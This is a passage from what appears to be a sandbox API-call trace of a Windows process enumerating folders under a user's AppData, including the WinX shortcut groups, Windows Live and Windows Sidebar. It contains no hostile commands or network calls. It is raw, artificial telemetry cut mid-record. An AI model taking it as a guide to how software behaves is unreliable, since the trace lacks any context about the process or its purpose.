ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Power Options.lnk", cAlternateFileName="08-POW~1.LNK")) returned 1 [0219.673] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Mobility Center.lnk", cAlternateFileName="09-MOB~1.LNK")) returned 1 [0219.673] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - Programs and Features.lnk", cAlternateFileName="10-PRO~1.LNK")) returned 1 [0219.674] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.674] FindNextFileW (in: hFindFile=0x1d1f4bd0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.674] FindClose (in: hFindFile=0x1d1f4bd0 | out: hFindFile=0x1d1f4bd0) returned 1 [0219.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9bc60) returned 1 [0219.675] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", nBufferLength=0x105, lpBuffer=0x1dc9b740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3", lpFilePart=0x0) returned 0x41 [0219.675] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\WinX\\Group3\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\winx\\group3\\*"), lpFindFileData=0x1dc9b970 | out: lpFindFileData=0x1dc9b970*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0219.676] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d15ec85, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0xf639e71, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.676] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="01 - Command Prompt.lnk", cAlternateFileName="01-COM~1.LNK")) returned 1 [0219.676] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d11281b, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d11281b, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x251fff9e, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x467, dwReserved0=0x0, dwReserved1=0x0, cFileName="01a - Windows PowerShell.lnk", cAlternateFileName="01A-WI~1.LNK")) returned 1 [0219.676] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x423, dwReserved0=0x0, dwReserved1=0x0, cFileName="02 - Command Prompt.lnk", cAlternateFileName="02-COM~1.LNK")) returned 1 [0219.677] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x493, dwReserved0=0x0, dwReserved1=0x0, cFileName="02a - Windows PowerShell.lnk", cAlternateFileName="02A-WI~1.LNK")) returned 1 [0219.677] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0ec645, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0ec645, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="03 - Computer Management.lnk", cAlternateFileName="03-COM~1.LNK")) returned 1 [0219.677] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="04 - Disk Management.lnk", cAlternateFileName="04-DIS~1.LNK")) returned 1 [0219.677] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x449, dwReserved0=0x0, dwReserved1=0x0, cFileName="04-1 - Network Connections.lnk", cAlternateFileName="04-1-N~1.LNK")) returned 1 [0219.677] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x433, dwReserved0=0x0, dwReserved1=0x0, cFileName="05 - Device Manager.lnk", cAlternateFileName="05-DEV~1.LNK")) returned 1 [0219.678] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d0c63cd, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252988fc, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x425, dwReserved0=0x0, dwReserved1=0x0, cFileName="06 - System.lnk", cAlternateFileName="06-SYS~1.LNK")) returned 1 [0219.678] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d09ff7f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d09ff7f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252726a6, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="07 - Event Viewer.lnk", cAlternateFileName="07-EVE~1.LNK")) returned 1 [0219.678] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d09ff7f, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d09ff7f, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x0, dwReserved1=0x0, cFileName="08 - Power Options.lnk", cAlternateFileName="08-POW~1.LNK")) returned 1 [0219.678] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="09 - Mobility Center.lnk", cAlternateFileName="09-MOB~1.LNK")) returned 1 [0219.678] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x252261fd, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x43f, dwReserved0=0x0, dwReserved1=0x0, cFileName="10 - Programs and Features.lnk", cAlternateFileName="10-PRO~1.LNK")) returned 1 [0219.679] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0219.679] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1dc9b930 | out: lpFindFileData=0x1dc9b930*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3d079d10, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d079d10, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x9ee78381, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0219.679] FindClose (in: hFindFile=0x1d1f49f0 | out: hFindFile=0x1d1f49f0) returned 1 [0219.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb90) returned 1 [0219.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9bb50) returned 1 [0219.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0219.680] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live", lpFilePart=0x0) returned 0x3a [0219.680] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows live\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4b10 [0219.778] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.778] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 1 [0219.778] FindNextFileW (in: hFindFile=0x1d1f4b10, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 0 [0219.778] FindClose (in: hFindFile=0x1d1f4b10 | out: hFindFile=0x1d1f4b10) returned 1 [0219.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0219.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0219.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0219.778] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live", lpFilePart=0x0) returned 0x3a [0219.779] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows live\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5470 [0219.779] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0x87ca06a1, ftLastAccessTime.dwHighDateTime=0x1d7006c, ftLastWriteTime.dwLowDateTime=0x87ca06a1, ftLastWriteTime.dwHighDateTime=0x1d7006c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.779] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 1 [0219.779] FindNextFileW (in: hFindFile=0x1d1f5470, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.779] FindClose (in: hFindFile=0x1d1f5470 | out: hFindFile=0x1d1f5470) returned 1 [0219.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0219.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0219.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.780] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici", lpFilePart=0x0) returned 0x3f [0219.780] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows live\\bici\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f44b0 [0219.780] FindNextFileW (in: hFindFile=0x1d1f44b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.780] FindNextFileW (in: hFindFile=0x1d1f44b0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.781] FindClose (in: hFindFile=0x1d1f44b0 | out: hFindFile=0x1d1f44b0) returned 1 [0219.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0219.781] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici", lpFilePart=0x0) returned 0x3f [0219.782] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Live\\Bici\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows live\\bici\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4a50 [0219.782] FindNextFileW (in: hFindFile=0x1d1f4a50, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.782] FindNextFileW (in: hFindFile=0x1d1f4a50, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x87ca06a1, ftCreationTime.dwHighDateTime=0x1d7006c, ftLastAccessTime.dwLowDateTime=0xb2f45c7f, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xb2f45c7f, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0219.782] FindClose (in: hFindFile=0x1d1f4a50 | out: hFindFile=0x1d1f4a50) returned 1 [0219.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0219.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0219.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0219.782] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar", lpFilePart=0x0) returned 0x3d [0219.783] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows Sidebar\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows sidebar\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, ftLastAccessTime.dwHighDateTime=0x1d70068, ftLastWriteTime.dwLowDateTime=0x377dee7, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f4150 [0219.783] FindNextFileW (in: hFindFile=0x1d1f4150, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3cefc6a2, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x3d0c63cd, 